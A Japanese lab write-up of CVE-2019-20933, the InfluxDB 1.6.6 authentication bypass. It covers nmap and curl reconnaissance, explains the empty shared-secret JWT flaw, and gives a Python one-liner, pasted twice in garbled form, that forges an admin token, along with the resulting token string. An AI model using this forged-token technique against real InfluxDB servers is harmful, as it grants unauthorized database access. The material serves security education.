
CVE-2019-20933 の InfluxDB 認証バイパスを偽造 JWT トークンで実証するステップバイステップのラボ解説。エクスプロイト、ポストエクスプロイト、および修復の指針を含みます。
環境で実行されているものから始める。アクティブなコンテナをすべて一覧表示する:
docker ps

標的は単一のポート 8086 のみを公開している。
現時点では、ターゲットに関する詳細な情報はない。docker ps の出力から、システムは外部にポート 8086 で 1 つの注目すべきサービスのみを公開しており、これはコンテナ内のサービスにマッピングされている。これが分析すべき主要な攻撃対象領域である。
ブラウザですぐにアクセスする代わりに、Nmap を使用してサービスをフィンガープリントし、ポート 8086 で実行されているサービスを特定する:
nmap -sV -sC -p 8086 192.168.3.137

スキャン結果は、ポート 8086 が InfluxDB OSS 1.6.6 の HTTP サービスであることを示している。これは HTTP API を介して公開される時系列データベースであり、典型的な Web アプリケーションではない。
InfluxDB は Go で書かれたオープンソースの時系列データベース(TSDB)である。RDBMS(正確なトランザクション向けに最適化)や Elasticsearch(テキスト検索向けに最適化)とは異なり、InfluxDB は単一の目的のために作られた:膨大な書き込みボリューム(高書き込みスループット)の処理と、低レイテンシでの時間軸に沿ったデータのクエリ。

サービスが InfluxDB としてフィンガープリントされたため、次のステップは InfluxDB がクライアントとどのように通信するかを参照することである。InfluxDB v1 HTTP API ドキュメントによると、ポート 8086 がデフォルトの HTTP API ポートである。重要なエンドポイントには以下がある:
/ping: サーバーの稼働状態を確認する。/query: InfluxQL クエリを送信してメタデータまたはデータを読み取る。/write: 時系列データをデータベースに書き込む。⇒ 思考: Nmap がサービスを InfluxDB http admin 1.6.6 と特定した後、標準的な Web サイトのようにテストを続けることはしない。Web アプリケーションの場合、通常はルート、ログインフォーム、ディレクトリを探す。しかし、InfluxDB の場合、攻撃対象領域は HTTP API 内にある。したがって、InfluxDB の標準 API エンドポイントのテストに切り替える必要があり、API が認証を必要とするかどうかを判断する。その結果、次のテストの方向性は、ブラウザで / にアクセスすることではなく、InfluxDB の API エンドポイントに直接リクエストを送信することである。
/ping エンドポイントの確認ポート 8086 が InfluxDB HTTP API であると特定した後、/ping エンドポイントを確認してサービスが稼働していることを確認する:
curl -i <http://192.168.3.137:8086/ping>

レスポンス 204 No Content は、InfluxDB が正常に動作していることを確認する。ヘッダーはさらにサービスバージョンが InfluxDB OSS 1.6.6 であることを確認する。
/query エンドポイントでの認証確認curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

/query エンドポイントは、認証情報なしでは直接クエリを許可しない。これは、InfluxDB で認証が有効になっている こと、およびシステムに送信されたすべての匿名クエリをブロックすることを確認する。
思考を切り替える:InfluxDB バージョン 1.6.6 には、認証メカニズムをバイパスできる脆弱性があるのだろうか?

公開されている脆弱性データベースを参照すると、1.7.6 より前の InfluxDB バージョンは CVE-2019-20933 の影響を受ける。これは InfluxDB の認証機能における認証バイパス脆弱性であり、空の共有シークレットを持つ JWT トークンの処理に関連する。
ターゲットはパッチ適用済みバージョン 1.7.6 より低い InfluxDB 1.6.6 を実行しているため、このサービスは影響を受けるバージョン範囲内に該当する。
結論は次のとおり:
Service: InfluxDB OSS
Version: 1.6.6
Authentication: Enabled
CVE mapping: CVE-2019-20933
Impact: Authentication Bypass
Status: Version vulnerable
⇒ 思考:当初、/query エンドポイントは 401 Unauthorized を返し、 認証メカニズムがアクティブであることを示している。しかし、認証が有効であることは絶対的なセキュリティを意味しない。version が 1.6.6 としてフィンガープリントされた場合、既知の CVE と関連付ける必要がある。結果は、このバージョンが CVE-2019-20933 の影響を受ける範囲内にあることを示しており、/query エンドポイントを保護する認証メカニズムをバイパスできる可能性があることを意味する。これらの特定結果に基づき、エクスプロイト段階では、認証をバイパスして /query エンドポイントに対してクエリを実行するための適切な JWT トークンを生成し、CVE-2019-20933 の検証に焦点を当てる。
CVE-2019-20933 脆弱性は、バージョン 1.7.6 より前の InfluxDB の services/httpd/handler.go ファイル内の authenticate 関数で発生する。
InfluxDB は、HTTP API リクエストに対する JSON Web トークン(JWT) を使用した認証をサポートしている。以下のヘッダーを持つリクエストを受信すると:
Authorization: Bearer <token>
InfluxDB は次の手順を実行する:
influxdb.conf ファイルから shared-secret 設定値を読み取り、トークンの署名検証のためのシークレットキーとして使用する。username フィールドを取得して、クエリを実行するユーザーを特定する。影響を受けるバージョンでは、JWT 認証が有効であるが shared-secret パラメータが設定されていない場合、シークレット値が空文字列("")として処理される可能性がある。
システムは JWT 署名を検証する前に、シークレットのセキュリティ強度を適切に検証できない。これにより、攻撃者はカスタム JWT を構築し、空のシークレットで署名し、username クレームをシステム上の有効なアカウント(ラボにこのアカウントが存在する場合は admin など)に設定できる。
このトークンが Authorization: Bearer <token> ヘッダーを介して送信されると、InfluxDB は同じ空のシークレットを使用して署名を検証する。署名が一致し、ユーザー名が存在する場合、ユーザーの実際のパスワードを必要とせずにリクエストが許可される。
処理フローは次のようにまとめられる:
| 手順 | 通常の処理 | CVE-2019-20933 の欠陥 |
|---|---|---|
| 1 | クライアントが Authorization: Bearer <token> を送信 | 攻撃者が JWT を自作する |
| 2 | サーバーが設定から shared-secret を読み取る | shared-secret が設定されていない |
| 3 | サーバーがシークレットを使用して JWT 署名を検証 | シークレットが空文字列 "" として処理される |
| 4 | トークンが有効な場合、クレームから username を取得 | 攻撃者がユーザーが存在する場合に username=admin を設定 |
| 5 | サーバーがクレームのユーザーに基づいて権限を付与 | パスワードを必要とせずにリクエストが受け入れられる |
ロジックレベルのエクスプロイトフロー:
InfluxDB < 1.7.6
→ authentication enabled
→ empty shared-secret
→ attacker creates JWT signed with secret ""
→ sends token via Authorization: Bearer
→ server accepts the token
→ query to /query succeeds
CVE メカニズムを理解した後、バージョンだけに基づいて結論を導き出さないように、それをターゲットと関連付ける必要がある。
| 条件 | ターゲットの結果 | 評価 |
|---|---|---|
| サービスが InfluxDB である | Nmap が InfluxDB http admin 1.6.6 と特定 | 満たされている |
| バージョンが影響範囲内である | 1.6.6 < 1.7.6 | 満たされている |
| 認証が有効である | /query が 401 Unauthorized を返す | 満たされている |
| 空の共有シークレットで署名された JWT が受け入れられるか | 検証が必要 | 未確認 |
| JWT 内のユーザー名が有効か | 検証が必要/ラボでは想定 | 未確認 |
現時点では、CVE-2019-20933 はターゲットにとって非常に適した候補として特定されている。ただし、実際のエクスプロイトを確認するには、空の shared secret で署名された JWT を生成し、それを /query エンドポイントに送信する必要がある。
サーバーがこのトークンを受け入れ、クエリの実行を許可した場合にのみ、CVE が正常にエクスプロイトされたと結論付けることができる。
上記の脆弱性メカニズム分析から、エクスプロイトの条件は次のとおり:
username を持つ JWT を作成する。"")で署名する。Authorization: Bearer <token> ヘッダーを介して /query エンドポイントに送信する。JWT はドット区切りの 3 つの部分で構成される:Header.Payload.Signature
ヘッダー
{"alg":"HS256","typ":"JWT"}
ペイロード
{"username":"admin","exp":2147483647}
username: ターゲットアカウント。このラボでは、InfluxDB はデフォルトの admin ユーザーを作成する。exp: トークンの有効期限。期限切れによる拒否を避けるため、極めて遠い未来(2038 年)に設定される。署名
HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))
Kali では、単一のコマンドで完全な JWT を生成する:
python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

次の文字列が得られる:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw
b64url(): Python の dict を JSON 文字列に変換し、Base64URL 形式でエンコードする(JWT 標準に従って = パディングを削除する)。hmac.new(b'', ...): 空のキー(b'')を使用して HMAC-SHA256 アルゴリズムでメッセージに署名する。これがエクスプロイトベクターである — 空のキーはサーバー上の未設定の shared-secret と一致する。Header.Payload.Signature 文字列である。/query エンドポイントに送信して CVE を検証するトークンを環境変数に保存し、SHOW DATABASES クエリを送信する: